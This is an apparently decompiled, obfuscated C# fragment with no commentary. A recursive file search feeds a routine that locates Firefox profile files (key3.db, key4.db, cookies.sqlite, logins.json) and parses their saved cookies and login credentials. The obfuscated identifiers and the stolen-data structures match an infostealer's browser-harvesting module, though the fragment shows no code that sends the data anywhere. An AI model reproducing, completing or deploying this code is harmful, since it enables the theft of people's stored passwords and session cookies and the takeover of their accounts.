// Token: 0x060001B1 RID: 433 RVA: 0x0000EA8C File Offset: 0x0000CC8C public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files) { List <string> list = new List <string>(); if (files != null && files.Length != 0 && level <= maxLevel) { try { foreach (string path in Directory.GetDirectories(baseDirectory)) { try { DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] files2 = directoryInfo.GetFiles(); bool flag = false; int num = 0; while (num < files2.Length && !flag) { int num2 = 0; while (num2 < files.Length && !flag) { string a = files[num2]; FileInfo fileInfo = files2[num]; string name = fileInfo.Name; if (a == name) { flag = true; list.Add(fileInfo.FullName); } num2++; } num++; } foreach (string item in Class_69.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files)) { if (!list.Contains(item)) { list.Add(item); } } } catch { } } } catch { } return(list); } return(list); }
// Token: 0x060001D4 RID: 468 RVA: 0x0000F890 File Offset: 0x0000DA90 public static List <Class_65> ParseBrowsers() { List <Class_65> list = new List <Class_65>(); try { List <string> list2 = new List <string>(); list2.AddRange(Class_69.FindPaths(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list2.AddRange(Class_69.FindPaths(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string text in list2) { string fullName = new FileInfo(text).Directory.FullName; string text2 = text.Contains(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold) ? Class_78.GetRoamingName(fullName) : Class_78.GetLocalName(fullName); if (!string.IsNullOrEmpty(text2)) { Class_65 class_ = new Class_65 { prop_0 = text2, prop_1 = new DirectoryInfo(fullName).Name, prop_5 = new List <Class_66>(Class_78.ParseCookies(fullName)).IsNull <List <Class_66> >(), prop_2 = new List <Class_68>(Class_78.GetCredentials(fullName).IsNull <List <Class_68> >()).IsNull <List <Class_68> >(), prop_3 = new List <Class_64>(), prop_4 = new List <Class_67>() }; if (class_.prop_5.Count((Class_66 x) => x.IsNotNull <Class_66>()) <= 0) { if (class_.prop_2.Count((Class_68 x) => x.IsNotNull <Class_68>()) <= 0) { continue; } } list.Add(class_); } } } catch { } return(list); }